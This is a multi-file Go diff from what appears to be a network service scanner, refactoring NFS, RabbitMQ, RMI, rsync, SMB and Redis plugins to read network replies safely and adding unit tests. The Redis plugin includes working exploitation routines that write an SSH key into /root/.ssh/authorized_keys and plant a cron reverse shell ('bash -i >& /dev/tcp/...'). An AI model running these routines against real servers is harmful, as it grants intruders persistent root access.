offset += int(pad)
|
||||
}
|
||||
}
|
||||
@@ -210,6 +220,24 @@ func (p *NFSPlugin) parseExportList(data []byte) []string {
|
||||
return exports
|
||||
}
|
||||
|
||||
func readRPCFragment(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}, maxPayload int) ([]byte, error) {
|
||||
var header [4]byte
|
||||
if _, err := io.ReadFull(conn, header[:]); err != nil {
|
||||
return nil, fmt.Errorf("short fragment header: %w", err)
|
||||
}
|
||||
size := int(binary.BigEndian.Uint32(header[:]) & 0x7fffffff)
|
||||
if size <= 0 || size > maxPayload {
|
||||
return nil, fmt.Errorf("invalid fragment size: %d", size)
|
||||
}
|
||||
payload := make([]byte, size)
|
||||
if _, err := io.ReadFull(conn, payload); err != nil {
|
||||
return nil, fmt.Errorf("short fragment payload: %w", err)
|
||||
}
|
||||
return payload, nil
|
||||
}
|
||||
|
||||
func (p *NFSPlugin) buildRPCCall(xid, program, version, procedure uint32, data []byte) []byte {
|
||||
authNone := []byte{0, 0, 0, 0, 0, 0, 0, 0} // AUTH_NONE flavor=0, len=0
|
||||
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
//go:build plugin_nfs || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type nfsTestConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
w bytes.Buffer
|
||||
}
|
||||
|
||||
func (c *nfsTestConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(c.data)
|
||||
if c.chunkSize > 0 && n > c.chunkSize {
|
||||
n = c.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *nfsTestConn) Write(p []byte) (int, error) { return c.w.Write(p) }
|
||||
|
||||
func TestNFSRPCNullCallHandlesFragmentedReads(t *testing.T) {
|
||||
p := NewNFSPlugin()
|
||||
xid := uint32(0x12340000 + 100003)
|
||||
reply := make([]byte, 24)
|
||||
binary.BigEndian.PutUint32(reply[0:4], xid)
|
||||
binary.BigEndian.PutUint32(reply[4:8], 1)
|
||||
|
||||
if err := p.rpcNullCall(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 2}, 100003, 3); err != nil {
|
||||
t.Fatalf("rpcNullCall() error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNFSGetExportsHandlesVerifierPadding(t *testing.T) {
|
||||
p := NewNFSPlugin()
|
||||
var reply []byte
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0x12345678) // xid
|
||||
reply = binary.BigEndian.AppendUint32(reply, 1) // reply
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // accepted
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // verifier flavor
|
||||
reply = binary.BigEndian.AppendUint32(reply, 3) // verifier length
|
||||
reply = append(reply, 'a', 'b', 'c', 0) // padded verifier
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // accept success
|
||||
reply = binary.BigEndian.AppendUint32(reply, 1) // export follows
|
||||
reply = binary.BigEndian.AppendUint32(reply, 2) // path length
|
||||
reply = append(reply, '/', 'x', 0, 0) // padded path
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // no groups
|
||||
reply = binary.BigEndian.AppendUint32(reply, 0) // no more exports
|
||||
|
||||
exports, err := p.getExports(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 3})
|
||||
if err != nil {
|
||||
t.Fatalf("getExports() error = %v", err)
|
||||
}
|
||||
if len(exports) != 1 || exports[0] != "/x" {
|
||||
t.Fatalf("exports = %#v, want [/x]", exports)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNFSReadRPCFragmentRejectsInvalidSize(t *testing.T) {
|
||||
header := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(header, 0x80000000)
|
||||
if _, err := readRPCFragment(&nfsTestConn{data: header}, 4096); err == nil {
|
||||
t.Fatal("readRPCFragment() error = nil, want invalid zero-size fragment error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNFSParseExportListStopsOnTruncatedGroup(t *testing.T) {
|
||||
p := NewNFSPlugin()
|
||||
var data []byte
|
||||
data = binary.BigEndian.AppendUint32(data, 1)
|
||||
data = binary.BigEndian.AppendUint32(data, 2)
|
||||
data = append(data, '/', 'x', 0, 0)
|
||||
data = binary.BigEndian.AppendUint32(data, 1)
|
||||
data = binary.BigEndian.AppendUint32(data, 100)
|
||||
|
||||
exports := p.parseExportList(data)
|
||||
if len(exports) != 1 || exports[0] != "/x" {
|
||||
t.Fatalf("exports = %#v, want [/x]", exports)
|
||||
}
|
||||
}
|
||||
|
||||
func wrapNFSReply(payload []byte) []byte {
|
||||
out := make([]byte, 4+len(payload))
|
||||
binary.BigEndian.PutUint32(out[:4], uint32(len(payload))|0x80000000)
|
||||
copy(out[4:], payload)
|
||||
return out
|
||||
}
|
||||
@@ -87,6 +87,9 @@ func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p
|
||||
if _, err := reader.ReadString('\n'); err != nil {
|
||||
return nil
|
||||
}
|
||||
if err := rejectLineBreaks(cred.Username, cred.Password); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if _, err := fmt.Fprintf(conn, "USER %s\r\n", cred.Username); err != nil {
|
||||
return nil
|
||||
|
||||
@@ -207,9 +207,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
|
||||
}
|
||||
|
||||
vulInfo := i18n.Tr("postgresql_trust_unauth_version", version)
|
||||
if len(vulInfo) > 100 {
|
||||
vulInfo = vulInfo[:100] + "..."
|
||||
}
|
||||
vulInfo = truncateRunes(vulInfo, 100)
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build plugin_postgresql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
@@ -21,3 +23,10 @@ func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostgreSQLVulnInfoTruncatesByRune(t *testing.T) {
|
||||
got := truncateRunes(strings.Repeat("界", 105), 100)
|
||||
if len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("postgresql truncation helper = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build !plugin_selective || (plugin_mongodb && plugin_kafka && plugin_cassandra)
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
|
||||
@@ -228,24 +228,39 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host
|
||||
return nil
|
||||
}
|
||||
|
||||
buffer := make([]byte, 32)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil || n < 4 {
|
||||
ok, err := readRabbitMQAMQPResponse(conn)
|
||||
if err != nil || !ok {
|
||||
return nil
|
||||
}
|
||||
|
||||
if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) {
|
||||
banner := "RabbitMQ AMQP"
|
||||
session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: banner,
|
||||
}
|
||||
banner := "RabbitMQ AMQP"
|
||||
session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
func readRabbitMQAMQPResponse(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}) (bool, error) {
|
||||
header := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if string(header) == "AMQP" {
|
||||
return true, nil
|
||||
}
|
||||
if header[0] != 0x01 {
|
||||
return false, nil
|
||||
}
|
||||
rest := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, rest); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
@@ -287,7 +302,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
//go:build plugin_rabbitmq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
@@ -18,3 +22,41 @@ func TestRabbitMQManagementRejectsGenericHTTP(t *testing.T) {
|
||||
t.Fatalf("testManagementInterface reported generic HTTP as RabbitMQ: %#v", result)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRabbitMQAMQPResponseHandlesChunkedReads(t *testing.T) {
|
||||
ok, err := readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte("AMQP"), chunkSize: 1})
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("readRabbitMQAMQPResponse(AMQP) = %v, %v", ok, err)
|
||||
}
|
||||
|
||||
ok, err = readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte{0x01, 0, 0, 0, 0, 0, 0, 0}, chunkSize: 2})
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("readRabbitMQAMQPResponse(frame) = %v, %v", ok, err)
|
||||
}
|
||||
|
||||
ok, err = readRabbitMQAMQPResponse(bytes.NewReader([]byte{0x01, 0, 0}))
|
||||
if err == nil || ok {
|
||||
t.Fatalf("readRabbitMQAMQPResponse(short) = %v, %v; want short read error", ok, err)
|
||||
}
|
||||
}
|
||||
|
||||
type chunkedByteReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedByteReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
+26
-32
@@ -23,6 +23,8 @@ type RedisPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
const maxRedisReplyBytes = 1 << 20
|
||||
|
||||
// NewRedisPlugin 创建Redis插件
|
||||
func NewRedisPlugin() *RedisPlugin {
|
||||
return &RedisPlugin{
|
||||
@@ -98,10 +100,8 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
|
||||
// 如果有密码,进行认证
|
||||
if cred.Password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password)
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
if _, writeErr := conn.Write(buildRedisAuthCommand(cred.Password)); writeErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
@@ -232,9 +232,8 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host
|
||||
|
||||
// 如果有密码,先认证
|
||||
if password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil {
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
|
||||
@@ -399,7 +398,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n
|
||||
|
||||
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
bytes, err := io.ReadAll(conn)
|
||||
bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes))
|
||||
if len(bytes) > 0 {
|
||||
err = nil
|
||||
}
|
||||
@@ -408,8 +407,8 @@ func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
|
||||
|
||||
// sendCmd 发送Redis命令并检查OK响应
|
||||
// 返回响应文本、是否成功、错误
|
||||
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) {
|
||||
if _, err = conn.Write([]byte(cmd)); err != nil {
|
||||
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) {
|
||||
if _, err = conn.Write(cmd); err != nil {
|
||||
return "", false, err
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
@@ -420,7 +419,7 @@ func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool,
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dbfilename")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err := p.readReply(conn)
|
||||
@@ -435,7 +434,7 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
|
||||
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dir")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
@@ -463,14 +462,14 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dbfilename", dbfilename)); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dir", dir)); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
@@ -499,27 +498,25 @@ func (p *RedisPlugin) readFile(filename string) (string, error) {
|
||||
|
||||
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))
|
||||
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", dirPath))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", fileName))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 写入内容
|
||||
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
|
||||
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent))
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", content))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -530,21 +527,18 @@ func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content
|
||||
// truncateText 截断文本到50字符
|
||||
func (p *RedisPlugin) truncateText(text string) string {
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
return text[:50]
|
||||
}
|
||||
return text
|
||||
return truncateRunes(text, 50)
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n")
|
||||
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/root/.ssh/"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "authorized_keys"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -559,13 +553,13 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
|
||||
}
|
||||
|
||||
// 写入密钥
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", "\n\n\n"+key+"\n\n\n"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -575,20 +569,20 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
|
||||
|
||||
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
// 尝试设置cron目录(两个可能的路径)
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n")
|
||||
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/crontabs/"))
|
||||
if err != nil {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
if !ok {
|
||||
// 尝试备用路径
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "root"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -605,14 +599,14 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
|
||||
}
|
||||
|
||||
// 写入cron任务
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
|
||||
text, ok, err = p.sendCmd(conn, cronCmd)
|
||||
cronContent := fmt.Sprintf("\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\n", scanIp, scanPort)
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "xx", cronContent))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
//go:build plugin_redis || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestRedisReadReplyIsBounded(t *testing.T) {
|
||||
conn := &redisReplyTestConn{Reader: strings.NewReader(strings.Repeat("a", maxRedisReplyBytes+1024))}
|
||||
|
||||
got, err := NewRedisPlugin().readReply(conn)
|
||||
if err != nil {
|
||||
t.Fatalf("readReply() error = %v", err)
|
||||
}
|
||||
if len(got) != maxRedisReplyBytes {
|
||||
t.Fatalf("readReply() len = %d, want %d", len(got), maxRedisReplyBytes)
|
||||
}
|
||||
}
|
||||
|
||||
type redisReplyTestConn struct {
|
||||
*strings.Reader
|
||||
}
|
||||
|
||||
func (c *redisReplyTestConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *redisReplyTestConn) Close() error { return nil }
|
||||
func (c *redisReplyTestConn) LocalAddr() net.Addr { return nil }
|
||||
func (c *redisReplyTestConn) RemoteAddr() net.Addr { return nil }
|
||||
func (c *redisReplyTestConn) SetDeadline(time.Time) error { return nil }
|
||||
func (c *redisReplyTestConn) SetReadDeadline(time.Time) error { return nil }
|
||||
func (c *redisReplyTestConn) SetWriteDeadline(time.Time) error { return nil }
|
||||
+20
-7
@@ -51,13 +51,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
return &ScanResult{Success: false, Service: "rmi"}
|
||||
}
|
||||
|
||||
buf := make([]byte, 255)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil && n == 0 {
|
||||
return &ScanResult{Success: false, Service: "rmi"}
|
||||
}
|
||||
|
||||
endpoint := parseRMIEndpoint(buf[:n])
|
||||
endpoint := readRMIEndpoint(conn)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
@@ -86,6 +80,25 @@ func parseRMIEndpoint(data []byte) string {
|
||||
return fmt.Sprintf("Java RMI endpoint=%s:%d", host, port)
|
||||
}
|
||||
|
||||
func readRMIEndpoint(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}) string {
|
||||
header := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return "Java RMI"
|
||||
}
|
||||
hostLen := int(header[0])<<8 | int(header[1])
|
||||
if hostLen <= 0 || hostLen > 249 {
|
||||
return "Java RMI"
|
||||
}
|
||||
payload := make([]byte, hostLen+4)
|
||||
if _, err := io.ReadFull(conn, payload); err != nil {
|
||||
return "Java RMI"
|
||||
}
|
||||
data := append(header, payload...)
|
||||
return parseRMIEndpoint(data)
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rmi", func() Plugin {
|
||||
return NewRMIPlugin()
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
//go:build plugin_rmi || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type chunkedRMIReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedRMIReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func TestReadRMIEndpointHandlesChunkedReads(t *testing.T) {
|
||||
data := []byte{0x00, 0x09}
|
||||
data = append(data, "localhost"...)
|
||||
data = append(data, 0x00, 0x00, 0x04, 0x4b)
|
||||
|
||||
got := readRMIEndpoint(&chunkedRMIReader{data: data, chunkSize: 1})
|
||||
if got != "Java RMI endpoint=localhost:1099" {
|
||||
t.Fatalf("readRMIEndpoint() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -276,12 +276,9 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string
|
||||
|
||||
// 读取服务器版本
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
versionBuf := make([]byte, 256)
|
||||
n, err := conn.Read(versionBuf)
|
||||
if err != nil {
|
||||
if _, err := readRsyncLine(conn, 256); err != nil {
|
||||
return nil
|
||||
}
|
||||
_ = string(versionBuf[:n])
|
||||
|
||||
// 回复客户端版本
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
@@ -357,8 +354,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
responseStr, err := readRsyncLine(conn, 1024)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
@@ -367,8 +363,6 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
|
||||
var banner string
|
||||
|
||||
if strings.Contains(responseStr, "@RSYNCD") {
|
||||
@@ -400,6 +394,26 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
}
|
||||
|
||||
func readRsyncLine(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}, max int) (string, error) {
|
||||
var line strings.Builder
|
||||
var b [1]byte
|
||||
for line.Len() < max {
|
||||
if _, err := io.ReadFull(conn, b[:]); err != nil {
|
||||
if err == io.EOF && line.Len() > 0 {
|
||||
return line.String(), nil
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
line.WriteByte(b[0])
|
||||
if b[0] == '\n' {
|
||||
return line.String(), nil
|
||||
}
|
||||
}
|
||||
return line.String(), nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rsync", func() Plugin {
|
||||
return NewRsyncPlugin()
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
//go:build (plugin_rsync || !plugin_selective) && go1.21
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type chunkedRsyncReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedRsyncReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func TestReadRsyncLineHandlesChunkedReads(t *testing.T) {
|
||||
got, err := readRsyncLine(&chunkedRsyncReader{data: []byte("@RSYNCD: 31.0\nrest"), chunkSize: 1}, 256)
|
||||
if err != nil {
|
||||
t.Fatalf("readRsyncLine() error = %v", err)
|
||||
}
|
||||
if got != "@RSYNCD: 31.0\n" {
|
||||
t.Fatalf("readRsyncLine() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -696,13 +696,9 @@ func classifySMBError(err error) ErrorType {
|
||||
// readSMBMessage 从连接读取NetBIOS消息
|
||||
func readSMBMessage(conn net.Conn) ([]byte, error) {
|
||||
headerBuf := make([]byte, 4)
|
||||
n, err := conn.Read(headerBuf)
|
||||
if err != nil {
|
||||
if _, err := io.ReadFull(conn, headerBuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if n != 4 {
|
||||
return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n)
|
||||
}
|
||||
|
||||
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
|
||||
|
||||
@@ -715,13 +711,8 @@ func readSMBMessage(conn net.Conn) ([]byte, error) {
|
||||
}
|
||||
|
||||
messageBuf := make([]byte, messageLength)
|
||||
totalRead := 0
|
||||
for totalRead < messageLength {
|
||||
n, err := conn.Read(messageBuf[totalRead:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
totalRead += n
|
||||
if _, err := io.ReadFull(conn, messageBuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
result := make([]byte, 0, 4+messageLength)
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
//go:build plugin_smb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
